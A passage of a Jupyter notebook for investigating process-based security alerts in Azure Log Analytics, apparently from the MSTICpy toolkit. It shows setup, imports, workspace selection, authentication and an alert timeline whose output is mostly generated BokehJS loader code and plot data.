{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Title: Alert Investigation (Process Alerts)\n", "LogAnalytics\n", "Version 0.3\n", "## Description:\n", "Series of modules designed to help get a better understanding of the contents of a process-based alert.\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "\n", "## Table of Contents\n", "- [Setup and Authenticate](#setup)\n", "\n", "- [Get Alerts List](#getalertslist)\n", "- [Choose an Alert to investigate](#enteralertid)\n", " - [Extract Properties and entities from alert](#extractalertproperties)\n", " - [Entity Graph](#entitygraph)\n", "- [Related Alerts](#related_alerts)\n", "- [Session Process Tree](#processtree)\n", " - [Process Timeline](#processtimeline)\n", "- [Other Process on Host](#process_clustering)\n", "- [Check for IOCs in Commandline](#cmdlineiocs)\n", " - [VirusTotal lookup](#virustotallookup)\n", "- [Alert command line - Occurrence on other hosts in subscription](#cmdlineonotherhosts)\n", "- [Host Logons](#host_logons)\n", " - [Alert Account](#logonaccount)\n", " - [Failed Logons](#failed_logons)\n", "- [Appendices](#appendices)\n", " - [Saving data to Excel](#appendices)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "# Setup\n", "\n", "If you are running this from an Azure Notebooks instance created by ASI you can ignore the package install step\n", "\n", "1. Make sure that you have installed packages specified in the setup (uncomment the lines to execute)\n", "2. There are some manual steps up to selecting the alert ID. After this most of the notebook can be executed sequentially\n", "3. Major sections should be executable independently (e.g. Alert Command line and Host Logons can be run skipping Session Process Tree)\n", "\n", "## Install Packages" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# You may needs these - should only need to uncomment and run once\n", "# !pip install msgpack\n", "# !pip install Kqlmagic --no-cache-dir --upgrade\n", "\n", "# !pip install PyHamcrest\n", "# !conda install -c conda-forge python-levenshtein -y\n", "# !conda install requests\n", "# !conda install attrs\n", "# !conda install seaborn\n", "# !conda install bokeh\n", "# !conda install holoviews\n", "\n", "# our package\n", "#!pip install ../python --upgrade\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Import Python Packags" ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "scrolled": true }, "outputs": [], "source": [ "# Imports\n", "import sys\n", "MIN_REQ_PYTHON = (3,6)\n", "if sys.version_info < MIN_REQ_PYTHON:\n", " print('Check the Kernel->Change Kernel menu and ensure that Python 3.6')\n", " print('or later is selected as the active kernel.')\n", " sys.exit(\"Python %s.%s or later is required.\\n\" % MIN_REQ_PYTHON)\n", "\n", "\n", "import numpy as np\n", "from IPython import get_ipython\n", "from IPython.display import display, HTML\n", "import ipywidgets as widgets\n", "\n", "import matplotlib.pyplot as plt\n", "import seaborn as sns\n", "import networkx as nx\n", "sns.set()\n", "import pandas as pd\n", "pd.set_option('display.max_rows', 500)\n", "pd.set_option('display.max_columns', 50)\n", "pd.set_option('display.max_colwidth', 100)\n", "\n", "import os\n", "module_path = os.path.abspath(os.path.join('..'))\n", "if module_path not in sys.path:\n", " sys.path.append(module_path)\n", " \n", "import msticpy.sectools as sectools\n", "import msticpy.nbtools as asi\n", "import msticpy.nbtools.kql as qry\n", "import msticpy.nbtools.nbdisplay as nbdisp\n" ] }, { "cell_type": "markdown", "metadata": { "tags": [ "remove" ] }, "source": [ "### Enter or confirm WorkspaceId" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "scrolled": false, "tags": [ "remove", "internal" ] }, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "b76570f27a6147d3aba203fa8d4bf5b0", "version_major": 2, "version_minor": 0 }, "text/plain": [ "Select(description='Select workspace :', layout=Layout(height='100px', width='50%'), options=('Contoso77', 'MS…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "available_workspaces = {'Contoso77':'802d39e1-9d70-404d-832c-2de5e2478eda', \n", " 'MSTICLinux':'06dc719f-5dad-47e9-b5af-07d84a0bda4e',\n", " 'ASIHuntOMSWorkspaceV4': '52b1ab41-869e-4138-9e40-2a4457f09bf0',\n", " 'ASIHuntOMSWorkspaceV5': '4ca7b24a-6e8f-4540-a8ce-1a80c2948c37',\n", " 'Rome ILDC - Detection E2E Tests Stage': '3eb61071-5dcd-4db3-94fa-0091a69b7359'}\n", "select_ws = asi.SelectString(description='Select workspace :',\n", " item_dict=available_workspaces)\n", "\n", "select_ws.display()" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "tags": [ "todo" ] }, "outputs": [ { "data": { "text/html": [ "To find your workspace Id go to Log Analytics and look at the workspace properties." ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "21ec3f1f2e164e2eb5de78ac2fed10c4", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HTML(value='')" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "8789c59188fa4b2d96a5f3ba46369769", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HBox(children=(Text(value='', description='Log Analytics Workspace Id:', layout=Layout(width='50%'), style=Des…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "import os\n", "from msticpy.nbtools.asiconfig import WorkspaceConfig\n", "ws_config_file = 'config.json'\n", "try:\n", " ws_config = WorkspaceConfig(ws_config_file)\n", " print('Found config file')\n", " for cf_item in ['tenant_id', 'subscription_id', 'resource_group', 'workspace_id', 'workspace_name']:\n", " print(cf_item, ws_config[cf_item])\n", "except:\n", " ws_config = None\n", " \n", "LA_URL = 'https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces'\n", "help_str=f'To find your workspace Id go to Log Analytics and look at the workspace properties.'\n", "display(HTML(help_str))\n", "\n", "ws_id = asi.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", " prompt='Log Analytics Workspace Id:')\n", "if ws_config:\n", " ws_id.value = ws_config['workspace_id']\n", "ws_id.display()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Authenticate to Log Analytics\n", "If using user/device authentication, hit the 'Copy code to clipboard and authenticate' button. This will pop up an Azure Active Directory authentication dialog. The device code will have been copied to the clipboard. Paste that into the first dialog. You should then be redirected to a user authentication page where you should authenticate with a user account that has permission to query your Log Analytics workspace." ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "tags": [ "todo" ] }, "outputs": [ { "data": { "text/html": [ "\n", " " ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", " \n", "\n", " \n", "\n", " \n", "\n", " " ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# TODO - set WS ID from dialog\n", "if not select_ws.value and not ws_id.value:\n", " raise ValueError('No workspace selected.')\n", "WORKSPACE_ID = select_ws.value\n", "\n", "asi.kql.load_kql_magic()\n", "# Use the following syntax if you are authenticating using an Azure Active Directory\n", "# AppId and Secret\n", "# %kql loganalytics://tenant(aad_tenant).workspace(WORKSPACE_ID).clientid(reader_client_id).clientsecret(reader_client_secret)\n", "\n", "%kql loganalytics://code().workspace(WORKSPACE_ID)\n" ] }, { "cell_type": "markdown", "metadata": { "tags": [ "todo" ] }, "source": [ "[Contents](#toc)\n", "# Get Alerts List\n", "\n", "Specify a time range to search for alerts. One this is set run the following cell to retrieve any alerts in that time window.\n", "You can change the time range and re-run the queries until you find the alerts that you want." ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "958edc1e09a44e4080325f2e43b23bcc", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HTML(value='

Set query time boundaries

')" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "e1d50e036f9543e284961279ee442481", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HBox(children=(DatePicker(value=datetime.date(2019, 2, 4), description='Origin Date'), Text(value='00:30:49.19…" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "be2a406d83f3445186f492ddbae08e46", "version_major": 2, "version_minor": 0 }, "text/plain": [ "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "alert_q_times = asi.QueryTime(units='day', max_before=20, before=5, max_after=1)\n", "alert_q_times.display()" ] }, { "cell_type": "code", "execution_count": 27, "metadata": { "scrolled": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "66 distinct alert types\n", "189 distinct alerts\n" ] }, { "data": { "text/html": [ "

Alert Timeline

" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id !== undefined) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var element_id = msg.content.text.trim();\n", " Bokeh.index[element_id].model.document.clear();\n", " delete Bokeh.index[element_id];\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"
    \\n\"+\n", " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n", " \"
  • use INLINE resources instead, as so:
  • \\n\"+\n", " \"
\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"078eff47-3912-430e-a852-6260773146ee\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n", " }\n", " finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.info(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(js_urls, callback) {\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = js_urls.length;\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var s = document.createElement('script');\n", " s.src = url;\n", " s.async = false;\n", " s.onreadystatechange = s.onload = function() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: all BokehJS libraries loaded\");\n", " run_callbacks()\n", " }\n", " };\n", " s.onerror = function() {\n", " console.warn(\"failed to load library \" + url);\n", " };\n", " console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.getElementsByTagName(\"head\")[0].appendChild(s);\n", " }\n", " };var element = document.getElementById(\"078eff47-3912-430e-a852-6260773146ee\");\n", " if (element == null) {\n", " console.log(\"Bokeh: ERROR: autoload.js configured with elementid '078eff47-3912-430e-a852-6260773146ee' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " \n", " function(Bokeh) {\n", " \n", " },\n", " function(Bokeh) {\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if ((root.Bokeh !== undefined) || (force === true)) {\n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"078eff47-3912-430e-a852-6260773146ee\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(js_urls, function() {\n", " console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"078eff47-3912-430e-a852-6260773146ee\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n }\n finally {\n delete root._bokeh_onload_callbacks\n }\n console.info(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(js_urls, callback) {\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = js_urls.length;\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var s = document.createElement('script');\n s.src = url;\n s.async = false;\n s.onreadystatechange = s.onload = function() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: all BokehJS libraries loaded\");\n run_callbacks()\n }\n };\n s.onerror = function() {\n console.warn(\"failed to load library \" + url);\n };\n console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.getElementsByTagName(\"head\")[0].appendChild(s);\n }\n };var element = document.getElementById(\"078eff47-3912-430e-a852-6260773146ee\");\n if (element == null) {\n console.log(\"Bokeh: ERROR: autoload.js configured with elementid '078eff47-3912-430e-a852-6260773146ee' but no matching script tag was found. \")\n return false;\n }\n\n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n \n function(Bokeh) {\n \n },\n function(Bokeh) {\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n }\n ];\n\n function run_inline_js() {\n \n if ((root.Bokeh !== undefined) || (force === true)) {\n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"078eff47-3912-430e-a852-6260773146ee\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(js_urls, function() {\n console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "
\n", "
\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = {\"4853ca58-5b86-4878-b144-ab10801646b2\":{\"roots\":{\"references\":[{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"8c07b790-6510-471b-aaa9-e4e246ddd47c\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"f6e234b2-0aa6-4148-b388-92645f122693\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"4fcb4177-5d87-46c0-a9e9-17f4e99ed771\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"c65b6a10-8fdf-4f27-be3d-b76fb06087dc\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"5d834090-50b7-4f65-93f5-34125ffbca27\",\"type\":\"DatetimeTicker\"}},\"id\":\"9ba78ec0-7011-4c6d-9c3b-1364c4db4345\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Alerts\"},\"id\":\"d4c83d0a-ee01-4b78-b1d2-340248b01191\",\"type\":\"Title\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"b128c646-3ec2-40c2-8adc-1533ffcf0a28\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"below\":[{\"id\":\"9ba78ec0-7011-4c6d-9c3b-1364c4db4345\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"42aa95bd-e212-4580-908e-037275f34d7e\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":200,\"plot_width\":900,\"renderers\":[{\"id\":\"9ba78ec0-7011-4c6d-9c3b-1364c4db4345\",\"type\":\"DatetimeAxis\"},{\"id\":\"87bde3a1-b6f3-4889-8482-cd5b53645665\",\"type\":\"Grid\"},{\"id\":\"42aa95bd-e212-4580-908e-037275f34d7e\",\"type\":\"LinearAxis\"},{\"id\":\"48edb99b-29f6-441f-af4d-e93c936d4a8e\",\"type\":\"Grid\"},{\"id\":\"96ed358c-f95f-449f-889b-3001851db6ec\",\"type\":\"BoxAnnotation\"},{\"id\":\"c7123f39-f617-41a7-b092-b91957790ffb\",\"type\":\"GlyphRenderer\"}],\"title\":{\"id\":\"d4c83d0a-ee01-4b78-b1d2-340248b01191\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"c8cfaf6a-013a-4e68-8064-a461ce4865e2\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"ce972da8-11fc-46f2-9a61-6e7f3b39bcfa\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"ed1ee3ad-8a57-4140-a619-913ad449779d\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"30548ada-3484-4c36-a7d2-f2eb9e9db232\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"bddef076-777a-47c4-8836-2210bdb49621\",\"type\":\"LinearScale\"}},\"id\":\"c65b6a10-8fdf-4f27-be3d-b76fb06087dc\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"8bd22ed7-51d1-4418-a79f-5faf4abd6c09\",\"type\":\"DaysTicker\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"ed25c43d-4940-48fc-9bfe-76f4d89bf5c8\",\"type\":\"AdaptiveTicker\"},{\"id\":\"06c2f899-375b-4ade-8552-fdca5c774284\",\"type\":\"AdaptiveTicker\"},{\"id\":\"232476c8-6e59-4d1b-95c9-ce91967eda9b\",\"type\":\"AdaptiveTicker\"},{\"id\":\"8bd22ed7-51d1-4418-a79f-5faf4abd6c09\",\"type\":\"DaysTicker\"},{\"id\":\"6fcf6dac-d2f5-4741-8fcb-dda3fe1b5b55\",\"type\":\"DaysTicker\"},{\"id\":\"8c07b790-6510-471b-aaa9-e4e246ddd47c\",\"type\":\"DaysTicker\"},{\"id\":\"232816c1-967b-4180-a778-a7f50ee8f4ff\",\"type\":\"DaysTicker\"},{\"id\":\"346aea6a-b2be-4501-ba8b-7fc3efe06692\",\"type\":\"MonthsTicker\"},{\"id\":\"87885d83-096f-40a5-923a-37ce4a715ae6\",\"type\":\"MonthsTicker\"},{\"id\":\"f6e234b2-0aa6-4148-b388-92645f122693\",\"type\":\"MonthsTicker\"},{\"id\":\"b128c646-3ec2-40c2-8adc-1533ffcf0a28\",\"type\":\"MonthsTicker\"},{\"id\":\"bc8d1956-73a7-4a2e-aeda-b6e37aa5bdaa\",\"type\":\"YearsTicker\"}]},\"id\":\"5d834090-50b7-4f65-93f5-34125ffbca27\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"bddef076-777a-47c4-8836-2210bdb49621\",\"type\":\"LinearScale\"},{\"attributes\":{\"callback\":null},\"id\":\"ce972da8-11fc-46f2-9a61-6e7f3b39bcfa\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"bc8d1956-73a7-4a2e-aeda-b6e37aa5bdaa\",\"type\":\"YearsTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"6fcf6dac-d2f5-4741-8fcb-dda3fe1b5b55\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[\"%m-%d 